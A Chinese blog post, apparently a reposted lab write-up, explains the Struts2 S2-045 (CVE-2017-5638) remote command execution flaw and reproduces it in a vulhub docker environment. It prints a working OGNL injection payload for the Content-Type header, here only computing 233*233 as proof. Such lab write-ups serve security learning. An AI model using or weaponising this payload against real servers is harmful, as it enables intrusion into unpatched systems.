Struts2远程命令执行漏洞

web应用框架:是一种开发框架,用来支持动态网站、应用程序、网络服务的开发,其类型有基于请求的和基于组件的,前者代表有struts和spring MVC,后者则有JSF、Taperstry等。

Struts2远程命令执行漏洞

  • Struts是Apache基金会的一个开源项目,Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。
  • 目前,Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设,作为网站开发的底层模板使用,是应用最广泛的Web应用框架之一。

漏洞介绍

  • Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。
  • 恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

漏洞影响范围

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

漏洞危害

  • 在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。
  • 攻击者可通过远程命令注入执行,令系统执行恶意命令,导致被黑客入侵,从而威胁服务器安全,影响极大。

漏洞复现

1.开启环境

systemctl start docker cd /vulhub/struts2/ docker-compose up -d

2.环境启动后,宿主机上访问web页面,访问`http://your-ip:8080`即可看到上传页面。这里的ip为虚拟机kali的ip。

3.使用burp抓包取数据包,将Content-Type替换为:

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

 出现状态码为200,和vulhub出计算结果后,即漏洞复现成功。

4.删除环境,使环境变为初始状态。

docker-compose down

猜你喜欢

转载自blog.csdn.net/qq_44851362/article/details/108273673